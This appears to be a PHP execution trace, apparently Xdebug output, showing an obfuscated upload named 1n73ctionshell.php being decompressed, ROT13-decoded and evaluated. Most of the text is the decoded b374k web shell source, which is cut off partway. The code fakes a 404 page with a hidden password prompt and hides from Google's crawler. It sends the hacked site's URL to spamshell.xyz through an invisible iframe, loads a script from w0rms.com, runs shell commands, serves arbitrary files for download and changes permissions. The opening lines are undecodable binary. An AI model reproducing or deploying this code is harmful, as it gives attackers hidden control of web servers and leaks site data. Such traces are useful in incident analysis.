3 15 R 'x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027�7�ne2��,�z*7���'
3 16 0 0.029405 680288 gzuncompress 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 'x�\0000���yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027�7�ne2��,�z*7���'
3 16 1 0.031290 782720
3 16 R '�yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027�7�ne2��,�z*7����&�/\f��'
3 17 0 0.033093 680288 gzinflate 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 '�yw�H�(\016�]}N\a5�\031�q�\021�m�����\016��>\022Fb�\006\b������Ȕ��b�����}��\n�2####cɌ���k�g~����\004]Ԙ;ƿ\024��@��\\1gO�z*WO�O�r����&UOf���S6�����4e�3��| �\032#�SC���7��W��o�R�\027K�+�~cƺ*.����0P�H�\0024.�%SXj�q5��\002�\001�v\005�����;����{�6q��\a�ɜ�5�Ic-F\016�D�� ��jXe�)3�\a���"�[����\020��$\b_}\f}��\034�`�\031\000J�ICq����\030��r�JAMR��XL\v͕k9\026�܄���\0336,+�oXE�\r~��Ʋ�9�ҧVSO\022m\000H��\rM�I�\037�\006�uN;\a�v\033O�r���<=5����\005����@�A�\027�7�ne2��,�z*7����&�/\f��'
3 17 1 0.036085 1032576
3 17 R '<?cuc \r\n\r\n$fvgr = \'uggc://\' . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'ERDHRFG_HEV\'];\r\nrpub "<vsenzr fglyr=\'qvfcynl:abar; urvtug: 0; jvqgu:0;\' fep=\'uggcf://fcnzfuryy.klm/jevgr.cuc?trg=$fvgr\'></vsenzr>";\r\n\r\n/* (Jro Furyy o374x e3p0q3q ol k\'1a73pg|qrsnhyg cnff:" 1a73pgvba ") */ \r\n$nhgu_cnff = "9p80n1rnpn699r2sp6o994721s8703op"; \r\n$pbybe = "#00ss00"; \r\n$qrsnhyg_npgvba = \'SvyrfZna\'; \r\n@qrsvar(\'FRYS_CNGU\', __SVYR__); \r\nvs( fgecbf($_FREIRE[\'UGGC_HFRE_NTRAG\'],\'Tbbtyr\') !== snyfr )'
3 18 0 0.036533 930144 str_rot13 0 /var/www/html/uploads/1n73ctionshell.php(4) : eval()'d code 1 1 '<?cuc \r\n\r\n$fvgr = \'uggc://\' . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'ERDHRFG_HEV\'];\r\nrpub "<vsenzr fglyr=\'qvfcynl:abar; urvtug: 0; jvqgu:0;\' fep=\'uggcf://fcnzfuryy.klm/jevgr.cuc?trg=$fvgr\'></vsenzr>";\r\n\r\n/* (Jro Furyy o374x e3p0q3q ol k\'1a73pg|qrsnhyg cnff:" 1a73pgvba ") */ \r\n$nhgu_cnff = "9p80n1rnpn699r2sp6o994721s8703op"; \r\n$pbybe = "#00ss00"; \r\n$qrsnhyg_npgvba = \'SvyrfZna\'; \r\n@qrsvar(\'FRYS_CNGU\', __SVYR__); \r\nvs( fgecbf($_FREIRE[\'UGGC_HFRE_NTRAG\'],\'Tbbtyr\') !== snyfr )'
3 18 1 0.037116 1282432
3 18 R '<?php \r\n\r\n$site = \'http://\' . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\necho "<iframe style=\'display:none; height: 0; width:0;\' src=\'https://spamshell.xyz/write.php?get=$site\'></iframe>";\r\n\r\n/* (Web Shell b374k r3c0d3d by x\'1n73ct|default pass:" 1n73ction ") */ \r\n$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc"; \r\n$color = "#00ff00"; \r\n$default_action = \'FilesMan\'; \r\n@define(\'SELF_PATH\', __FILE__); \r\nif( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false )'
3 19 0 0.042267 2010400 eval 1 '?><?php \r\n\r\n$site = \'http://\' . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\necho "<iframe style=\'display:none; height: 0; width:0;\' src=\'https://spamshell.xyz/write.php?get=$site\'></iframe>";\r\n\r\n/* (Web Shell b374k r3c0d3d by x\'1n73ct|default pass:" 1n73ction ") */ \r\n$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc"; \r\n$color = "#00ff00"; \r\n$default_action = \'FilesMan\'; \r\n@define(\'SELF_PATH\', __FILE__); \r\nif( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { \r\n header(\'HTTP/1.0 404 Not Found\'); \r\n exit; \r\n} \r\n@session_start(); \r\n@error_reporting(0); \r\n@ini_set(\'error_log\',NULL); \r\n@ini_set(\'log_errors\',0); \r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0); \r\n@ini_set(\'display_errors\', 0);\r\n@set_time_limit(0); \r\n@set_magic_quotes_runtime(0); \r\n@define(\'VERSION\', \'2.1\'); \r\nif( get_magic_quotes_gpc() ) { \r\n function stripslashes_array($array) { \r\n return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array); \r\n } \r\n $_POST = stripslashes_array($_POST); \r\n} \r\nfunction printLogin() { \r\n ?> \r\n<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>\r\n<h1>Not Found</h1> \r\n<p>The requested URL was not found on this server.</p> \r\n<hr> \r\n<address>Apache Server at <?=$_SERVER[\'HTTP_HOST\']?> Port 80</address> \r\n <style> \r\n input { margin:0;background-color:#fff;border:1px solid #fff; } \r\n </style> \r\n <center> \r\n <form method=post> \r\n <input type=password name=pass> \r\n </form></center> \r\n <?php \r\n exit; \r\n} \r\nif( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] )) \r\n if( empty( $auth_pass ) || \r\n ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) ) \r\n $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; \r\n else \r\n printLogin();\r\n\t\t\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'output_buffering\',0);\t\r\nif(isset($_GET[\'dl\']) && ($_GET[\'dl\'] != "")){\r\n\t$file = $_GET[\'dl\'];\r\n\t$filez = @file_get_contents($file);\r\n header("Content-type: application/octet-stream"); \r\n header("Content-length: ".strlen($filez)); \r\n header("Content-disposition: attachment; filename=\\"".basename($file)."\\";");\r\n echo $filez; \r\n exit; \r\n}\r\nelseif(isset($_GET[\'dlgzip\']) && ($_GET[\'dlgzip\'] != "")){\r\n\t$file = $_GET[\'dlgzip\'];\r\n\t$filez = gzencode(@file_get_contents($file));\r\n header("Content-Type:application/x-gzip\\n"); \r\n header("Content-length: ".strlen($filez)); \r\n header("Content-disposition: attachment; filename=\\"".basename($file).".gz\\";");\r\n echo $filez; \r\n exit; \r\n}\r\n// view image\r\nif(isset($_GET[\'img\'])){\r\n\t\t@ob_clean(); \r\n\t\t$d = magicboom($_GET[\'y\']);\r\n\t\t$f = $_GET[\'img\'];\r\n\t\t$inf = @getimagesize($d.$f); \r\n \t\t$ext = explode($f,"."); \r\n \t\t$ext = $ext[count($ext)-1]; \r\n \t \t@header("Content-type: ".$inf["mime"]);\r\n \t \t@header("Cache-control: public"); \r\n \t\t@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); \r\n \t\t@header("Cache-control: max-age=".(60*60*24*7)); \r\n \t \t@readfile($d.$f); \r\n \t \texit; \r\n}\r\n\r\n// server software\r\n$software = getenv("SERVER_SOFTWARE");\r\n// check safemode\r\nif (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;\r\n// uname -a\r\n$system = @php_uname();\r\n// mysql\r\nfunction showstat($stat) {if ($stat=="on") {return "<b><font style=\'color:#00FF00\'>ON</font></b>";}else {return "<b><font style=\'color:#DD4736\'>OFF</font></b>";}}\r\nfunction testmysql() {if (function_exists(\'mysql_connect\')) {return showstat("on");}else {return showstat("off");}}\r\nfunction testcurl() {if (function_exists(\'curl_version\')) {return showstat("on");}else {return showstat("off");}}\r\nfunction testwget() {if (exe(\'wget --help\')) {return showstat("on");}else {return showstat("off");}}\r\nfunction testperl() {if (exe(\'perl -h\')) {return showstat("on");}else {return showstat("off");}}\r\n// check os\r\nif(strtolower(substr($system,0,3)) == "win") $win = TRUE;\r\nelse $win = FALSE; \r\n// change directory\r\nif(isset($_GET[\'y\'])){\r\n\tif(@is_dir($_GET[\'view\'])){\r\n\t\t$pwd = $_GET[\'view\'];\r\n\t\t@chdir($pwd);\r\n\t}\r\n\telse{\r\n\t\t$pwd = $_GET[\'y\'];\r\n\t\t@chdir($pwd);\r\n\t}\r\n}\r\n//hdd\r\nfunction convertByte($s) {\r\nif($s >= 1073741824)\r\nreturn sprintf(\'%1.2f\',$s / 1073741824 ).\' GB\';\r\nelseif($s >= 1048576)\r\nreturn sprintf(\'%1.2f\',$s / 1048576 ) .\' MB\';\r\nelseif($s >= 1024)\r\nreturn sprintf(\'%1.2f\',$s / 1024 ) .\' KB\';\r\nelse\r\nreturn $s .\' B\';\r\n}\r\n\r\n// username, id, shell prompt and working directory\r\nif(!$win){\r\n\tif(!$user = rapih(exe("whoami"))) $user = "";\r\n\tif(!$id = rapih(exe("id"))) $id = "";\r\n\t$prompt = $user." \\$ ";\r\n\t$pwd = @getcwd().DIRECTORY_SEPARATOR;\r\n}\r\nelse {\r\n\t$user = @get_current_user();\r\n\t$id = $user;\r\n\t$prompt = $user." >";\r\n\t$pwd = realpath(".")."\\\\";\r\n\t// find drive letters\r\n \t$v = explode("\\\\",$d); \r\n\t$v = $v[0]; \r\n \tforeach (range("A","Z") as $letter) \r\n \t{ \r\n\t $bool = @is_dir($letter.":\\\\");\r\n\t if ($bool) \r\n\t { \r\n \t\t $letters .= "<a href=\\"?y=".$letter.":\\\\\\">[ ";\r\n\t\t if ($letter.":" != $v) {$letters .= $letter;} \r\n\t\t else {$letters .= "<span class=\\"gaya\\">".$letter."</span>";} \r\n\t\t $letters .= " ]</a> "; \r\n \t }\t \r\n } \r\n}\r\n\r\nfunction testoracle() {\r\n if (function_exists(\'ocilogon\')) { return showstat("on"); }\r\n else { return showstat("off"); }\r\n }\r\n\r\nfunction testmssql() {\r\n if (function_exists(\'mssql_connect\')) { return showstat("on"); }\r\n else { return showstat("off"); }\r\n }\r\n\r\n function showdisablefunctions() {\r\n if ($disablefunc=@ini_get("disable_functions")){ return "<span style=\'color:\'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }\r\n else { return "<span style=\'color:#00FF1E\'><b>NONE</b></span>"; }\r\n }\r\n\t\r\nif(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;\r\nelse $posix = FALSE;\r\n// server ip\r\n$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);\r\n// your ip ;-)\r\n$my_ip = $_SERVER[\'REMOTE_ADDR\'];\r\n$admin_id=$_SERVER[\'SERVER_ADMIN\'];\r\n$bindport = "13123";\r\n$bindport_pass = "b374k";\r\n\r\n// separate the working direcotory\r\n$pwds = explode(DIRECTORY_SEPARATOR,$pwd);\r\n$pwdurl = "";\r\nfor($i = 0 ; $i < sizeof($pwds)-1 ; $i++){\r\n\t$pathz = "";\r\n\tfor($j = 0 ; $j <= $i ; $j++){\r\n\t\t$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;\r\n\t}\r\n\t$pwdurl .= "<a href=\\"?y=".$pathz."\\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";\r\n}\r\n\t\r\n// rename file or folder\r\nif(isset($_POST[\'rename\'])){\r\n\t$old = $_POST[\'oldname\'];\r\n\t$new = $_POST[\'newname\'];\r\n\t@rename($pwd.$old,$pwd.$new);\r\n\t$file = $pwd.$new;\r\n}\r\nif(isset($_POST[\'chmod\'])){ \r\n\t$name = $_POST[\'name\'];\r\n\t$value = $_POST[\'newvalue\'];\r\nif (strlen($value)==3){\r\n\t$value = 0 . "" . $value;}\r\n\t@chmod($pwd.$name,octdec($value));\r\n\t$file = $pwd.$name;}\r\n\t\r\nif(isset($_POST[\'chmod_folder\'])){\r\n\t$name = $_POST[\'name\'];\r\n\t$value = $_POST[\'newvalue\'];\r\nif (strlen($value)==3){\r\n\t$value = 0 . "" . $value;}\r\n\t@chmod($pwd.$name,octdec($value));\r\n\t$file = $pwd.$name;}\r\n\r\n\r\n// print useful info\r\n$buff = "Software : <b>".$software."</b><br />";\r\n$buff .= "System OS : <b>".$system."</b><br />";\r\nif($id != "") $buff .= "ID : <b>".$id."</b><br />";\r\n$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";\r\n$buff .= "Server ip : <b>".$server_ip."</b> <span class=\\"gaya\\"> | </span> Your ip : <b>".$my_ip."</b><span class=\\"gaya\\"> | </span> Admin : <b>".$admin_id."</b><br />";\r\n$buff .= "Free Disk: "."<span style=\'color:#00FF1E\'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";\r\nif($safemode) $buff .= "Safemode: <span class=\\"gaya\\"><b>ON</b></span><br />";\r\nelse $buff .= "Safemode: <span class=\\"gaya\\"><b>OFF</b></span><br />";\r\n$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";\r\n$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";\r\n$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";\r\n\r\n\r\n\r\n\r\nfunction rapih($text){\r\n\treturn trim(str_replace("<br />","",$text));\r\n}\r\n\r\nfunction magicboom($text){\r\n\tif (!get_magic_quotes_gpc()) {\r\n \t\t return $text;\r\n\t} \r\n\treturn stripslashes($text);\r\n}\r\n\r\nfunction showdir($pwd,$prompt){\r\n\t$fname = array();\r\n\t$dname = array();\r\n\tif(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;\r\n\telse $posix = FALSE;\r\n\t$user = "????:????";\r\n\tif($dh = @scandir($pwd)){\r\n\t\tforeach($dh as $file){\r\n\t\t\tif(is_dir($file)){\r\n\t\t\t\t$dname[] = $file;\r\n\t\t\t}\r\n\t\t\telseif(is_file($file)){\r\n\t\t\t\t$fname[] = $file;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse{\r\n\t\tif($dh = @opendir($pwd)){\r\n\t\t\twhile($file = @readdir($dh)){\r\n\t\t\t\tif(@is_dir($file)){\r\n\t\t\t\t\t$dname[] = $file;\r\n\t\t\t\t}\r\n\t\t\t\telseif(@is_file($file)){\r\n\t\t\t\t\t$fname[] = $file;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t@closedir($dh);\r\n\t\t}\r\n\t}\r\n\r\n\t\r\n\tsort($fname);\r\n\tsort($dname);\r\n\t$path = @explode(DIRECTORY_SEPARATOR,$pwd);\r\n\t$tree = @sizeof($path);\r\n\t$parent = "";\r\n\t$buff = "\r\n\t<form action=\\"?y=".$pwd."&x=shell\\" method=\\"post\\" style=\\"margin:8px 0 0 0;\\">\r\n\t<table class=\\"cmdbox\\" style=\\"width:50%;\\">\r\n\t<tr><td><b>$prompt</b></td><td><input onMouseOver=\\"this.focus();\\" id=\\"cmd\\" class=\\"inputz\\" type=\\"text\\" name=\\"cmd\\" style=\\"width:400px;\\" value=\\"\\" /><input class=\\"inputzbut\\" type=\\"submit\\" value=\\"Go !\\" name=\\"submitcmd\\" style=\\"width:80px;\\" /></td></tr>\r\n\t</form>\r\n\t<form action=\\"?\\" method=\\"get\\" style=\\"margin:8px 0 0 0;\\">\r\n\t<input type=\\"hidden\\" name=\\"y\\" value=\\"".$pwd."\\" />\r\n\t<tr><td><b>view file/folder</b></td><td><input onMouseOver=\\"this.focus();\\" id=\\"goto\\" class=\\"inputz\\" type=\\"text\\" name=\\"view\\" style=\\"width:400px;\\" value=\\"".$pwd."\\" /><input class=\\"inputzbut\\" type=\\"submit\\" value=\\"View !\\" name=\\"submitcmd\\" style=\\"width:80px;\\" /></td></tr>\r\n\t</form></table><table class=\\"explore\\">\r\n\t<tr><th>name</th><th style=\\"width:80px;\\">size</th><th style=\\"width:210px;\\">owner:group</th><th style=\\"width:80px;\\">perms</th><th style=\\"width:110px;\\">modified</th><th style=\\"width:190px;\\">actions</th></tr>\r\n\t";\r\n\tif($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;\r\n\telse $parent = $pwd; \r\n\r\n\tforeach($dname as $folder){\r\n\t\tif($folder == ".") {\r\n\t\t\tif(!$win && $posix){\r\n\t\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$owner = $user;\r\n\t\t\t}\r\n\t\t\t$buff .= "<tr><td><a href=\\"?y=".$pwd."\\">$folder</a></td><td>LINK</td>\r\n\t\t\t<td style=\\"text-align:center;\\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>\r\n\t\t\t<td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\\"titik1\\">\r\n\t\t\t<a href=\\"?y=$pwd&edit=".$pwd."newfile.php\\">newfile</a> | <a href=\\"javascript:tukar(\'titik1\',\'titik1_form\');\\">newfolder</a></span>\r\n\t\t\t<form action=\\"?\\" method=\\"get\\" id=\\"titik1_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t\t<input type=\\"hidden\\" name=\\"y\\" value=\\"".$pwd."\\" />\r\n\t\t\t<input class=\\"inputz\\" style=\\"width:140px;\\" type=\\"text\\" name=\\"mkdir\\" value=\\"a_new_folder\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" style=\\"width:35px;\\" value=\\"Go !\\" />\r\n\t\t\t</form></td>\r\n\t\t\t\r\n\t\t\t</tr>\r\n\t\t\t";\r\n\t\t}\r\n\t\telseif($folder == "..") {\r\n\t\t\tif(!$win && $posix){\r\n\t\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$owner = $user;\r\n\t\t\t}\r\n\t\t\t$buff .= "<tr><td><a href=\\"?y=".$parent."\\"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC\'> $folder</a></td><td>LINK</td>\r\n\t\t\t<td style=\\"text-align:center;\\">".$owner."</td>\r\n\t\t\t<td><center>".get_perms($parent)."</center></td><td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($parent))."</td>\r\n\t\t\t<td><span id=\\"titik2\\"><a href=\\"?y=$pwd&edit=".$parent."newfile.php\\">newfile</a> | <a href=\\"javascript:tukar(\'titik2\',\'titik2_form\');\\">newfolder</a></span>\r\n\t\t\t<form action=\\"?\\" method=\\"get\\" id=\\"titik2_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t\t<input type=\\"hidden\\" name=\\"y\\" value=\\"".$pwd."\\" />\r\n\t\t\t<input class=\\"inputz\\" style=\\"width:140px;\\" type=\\"text\\" name=\\"mkdir\\" value=\\"a_new_folder\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" style=\\"width:35px;\\" value=\\"Go !\\" />\r\n\t\t\t</form>\r\n\t\t\t</td></tr>";\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif(!$win && $posix){\r\n\t\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$owner = $user;\r\n\t\t\t}\r\n\t\t\t$buff .= "<tr><td><a id=\\"".clearspace($folder)."_link\\" href=\\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==\' /> [ $folder ]</b></a>\r\n\t\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($folder)."_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t\t<input type=\\"hidden\\" name=\\"oldname\\" value=\\"".$folder."\\" style=\\"margin:0;padding:0;\\" />\r\n\t\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newname\\" value=\\"".$folder."\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" value=\\"rename\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($folder)."_form\',\'".clearspace($folder)."_link\');\\" />\r\n\t\t\t</form><td>DIR</td><td style=\\"text-align:center;\\">".$owner."</td>\r\n\t\t\t<td><center>\r\n\t\t\t<a href=\\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\\">".get_perms($pwd.$folder)."</a>\r\n\t\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($folder)."_form3\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\"> \r\n\t\t\t<input type=\\"hidden\\" name=\\"name\\" value=\\"".$folder."\\" style=\\"margin:0;padding:0;\\" /> \r\n\t\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newvalue\\" value=\\"".substr(sprintf(\'%o\', fileperms($pwd.$folder)), -4)."\\" /> \r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"chmod_folder\\" value=\\"chmod\\" /> \r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" \r\n\t\t\tonclick=\\"tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\\" /></form></center></td>\r\n\t\t\t<td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form\');\\">rename</a> | <a href=\\"?y=$pwd&fdelete=".$pwd.$folder."\\">delete</a></td></tr>";\r\n\t\t}\r\n\t}\r\n\r\n\tforeach($fname as $file){\r\n\t\t$full = $pwd.$file;\r\n\t\tif(!$win && $posix){\r\n\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$owner = $user;\r\n\t\t}\t\t\r\n\t\t$buff .= "<tr><td><a id=\\"".clearspace($file)."_link\\" href=\\"?y=$pwd&view=$full\\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\' /> $file</b></a>\r\n\t\t<form 